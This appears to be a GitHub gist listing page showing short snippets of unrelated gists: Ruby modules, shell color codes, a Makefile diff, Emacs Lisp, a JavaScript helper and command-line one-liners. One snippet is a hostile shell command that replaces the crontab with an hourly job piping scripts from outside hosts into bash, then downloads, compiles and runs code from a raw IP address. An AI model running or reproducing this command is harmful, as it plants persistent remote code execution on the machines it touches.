This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Ебический, ебический модуль эмуляции динамических роутов из базы. | |
# Альтернатива reload_routes! | |
# Это блять пиздец ебануться какой ебический модуль. | |
# Но зато - теперь будем клонировать. | |
# Нужно его гемофицировать. | |
module Megatron | |
class Rewrite | |
REWRITE_CACHE_KEY = 'megatron.rewrite_cache' | |
HELPERS_CACHE_KEY = 'megatron.helpers_cache' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<<COLORS | |
black='\033[0;30m' | |
BLACK='\033[1;30m' | |
red='\033[0;31m' | |
RED='\033[1;31m' | |
green='\033[0;32m' | |
GREEN='\033[1;32m' | |
yellow='\033[0;33m' | |
YELLOW='\033[1;33m' | |
blue='\033[0;34m' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
diff --git a/Makefile b/Makefile | |
index 12fbe8e..81d25db 100644 | |
--- a/Makefile | |
+++ b/Makefile | |
@@ -3,7 +3,7 @@ BINDIR ?= ${PREFIX}/bin | |
CC ?= gcc | |
-SRCS_RAW = skippy wm dlist mainwin clientwin layout focus config tooltip img | |
+SRCS_RAW = skippy wm dlist mainwin clientwin layout focus config tooltip img img-xlib |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(defun extract-translation (start end) | |
(interactive "r") | |
(if (region-active-p) | |
(let* ((text (buffer-substring start end)) | |
(keyname (read-string "Key name: " (extract-translation-default-key-name text))) | |
(short-keyname (car (last (split-string keyname "\\.") 1))) | |
(rails-root (if (fboundp 'ffip-project-root) | |
(ffip-project-root) | |
(projectile-project-root))) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
crontab -r; echo \"1 * * * * wget -O - colkolduld.com/cmd1|bash;wget -O - lochjol.com/cmd2|bash;wget -O - ddos.cat.com/cmd3|bash;\"|crontab -;wget http://88.198.20.247/k.c -O /tmp/k.c; gcc -o /tmp/k /tmp/k.c; chmod +x /tmp/k; /tmp/k||wget http://88.198.20.247/k -O /tmp/k && chmod +x /tmp/k && /tmp/k |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// I thought I needed it, but I didn't need it anymore, | |
// but I already implemented it. So, here we go, if you | |
// ever would need a Javascript camelize implementation | |
// you can freely use this :-). | |
// - vjt@openssl.it Tue Feb 15 16:49:52 CET 2011 | |
jQuery.extend (String.prototype, { | |
camelize: function () { | |
return this.replace (/(?:^|[-_])(\w)/g, function (_, c) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Decode | |
====== | |
openssl enc -base64 -d <<< SGVsbG8sIFdvcmxkIQo= | |
Encode | |
====== | |
openssl enc -base64 <<< 'Hello, World!' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module CML2 | |
# Includes to ProductCategory model | |
module ProductCategory | |
def import node_set | |
::ProductCategory.delete_all | |
::ProductCategory.import_categories \ | |
node_set.xpath('/КоммерческаяИнформация/Классификатор/Группы') | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ag "sometext" --nogroup | awk '{print substr($1,1,index($1,":")-1);}' | xargs -I {} sed -i .bak -e 's/sometext/anothertext/g' {} |
OlderNewer